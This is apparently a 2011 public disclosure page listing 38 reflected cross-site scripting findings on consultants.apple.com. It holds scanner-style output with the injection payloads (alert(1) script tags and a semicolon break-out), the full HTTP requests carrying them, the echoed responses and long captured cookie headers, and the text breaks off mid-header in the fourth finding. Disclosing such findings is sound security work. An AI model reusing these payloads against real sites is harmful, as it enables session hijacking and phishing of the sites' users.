XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, consultants.apple.com

Also see Blog Article at Thu Jul 14 21:38:25 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Hoyt LLC Research comments that Apple is an example of Best Practices



Loading

1. Cross-site scripting (reflected)

1.1. http://consultants.apple.com/profiles.php [name of an arbitrarily supplied request parameter]

1.2. http://consultants.apple.com/services.php [name of an arbitrarily supplied request parameter]

1.3. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif [REST URL parameter 2]

1.4. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif [REST URL parameter 2]

1.5. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif [REST URL parameter 3]

1.6. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif [REST URL parameter 4]

1.7. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg [REST URL parameter 2]

1.8. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg [REST URL parameter 2]

1.9. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg [REST URL parameter 3]

1.10. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg [REST URL parameter 4]

1.11. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif [REST URL parameter 2]

1.12. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif [REST URL parameter 2]

1.13. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif [REST URL parameter 3]

1.14. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif [REST URL parameter 4]

1.15. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif [REST URL parameter 2]

1.16. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif [REST URL parameter 2]

1.17. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif [REST URL parameter 3]

1.18. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-right.gif [REST URL parameter 4]

1.19. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif [REST URL parameter 2]

1.20. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif [REST URL parameter 2]

1.21. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif [REST URL parameter 3]

1.22. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/bottom.gif [REST URL parameter 4]

1.23. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif [REST URL parameter 2]

1.24. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif [REST URL parameter 2]

1.25. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif [REST URL parameter 3]

1.26. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif [REST URL parameter 4]

1.27. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg [REST URL parameter 2]

1.28. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg [REST URL parameter 2]

1.29. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg [REST URL parameter 3]

1.30. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg [REST URL parameter 4]

1.31. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif [REST URL parameter 2]

1.32. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif [REST URL parameter 2]

1.33. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif [REST URL parameter 3]

1.34. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif [REST URL parameter 4]

1.35. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css [REST URL parameter 2]

1.36. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css [REST URL parameter 2]

1.37. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css [REST URL parameter 3]

1.38. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css [REST URL parameter 4]



1. Cross-site scripting (reflected)
There are 38 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://consultants.apple.com/profiles.php [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /profiles.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebaa3"><script>alert(1)</script>95d2e034aac was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /profiles.php/ebaa3"><script>alert(1)</script>95d2e034aac HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.2.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:26:25 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:27:25 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 17353

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/profiles.php/ebaa3"><script>alert(1)</script>95d2e034aac" class="search" id="g-search">
...[SNIP]...

1.2. http://consultants.apple.com/services.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fca6c"><script>alert(1)</script>c29f000149b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services.php/fca6c"><script>alert(1)</script>c29f000149b HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/index.php?fuseaction=home.detail&companyID=520&offset=0&rppg=8&q=10010&cf=
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:25:31 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:26:31 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15935

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/services.php/fca6c"><script>alert(1)</script>c29f000149b" class="search" id="g-search">
...[SNIP]...

1.3. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4258f"><script>alert(1)</script>10cc5fa1227 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services.php/4258f"><script>alert(1)</script>10cc5fa1227/images/acn-logo.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:39 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:39 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15955

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/services.php/4258f"><script>alert(1)</script>10cc5fa1227/images/acn-logo.gif" class="search" id="g-search">
...[SNIP]...

1.4. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 9fe0a%3balert(1)//b3d641da807 was submitted in the REST URL parameter 2. This input was echoed as 9fe0a;alert(1)//b3d641da807 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C9fe0a%3balert(1)//b3d641da807/images/acn-logo.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; 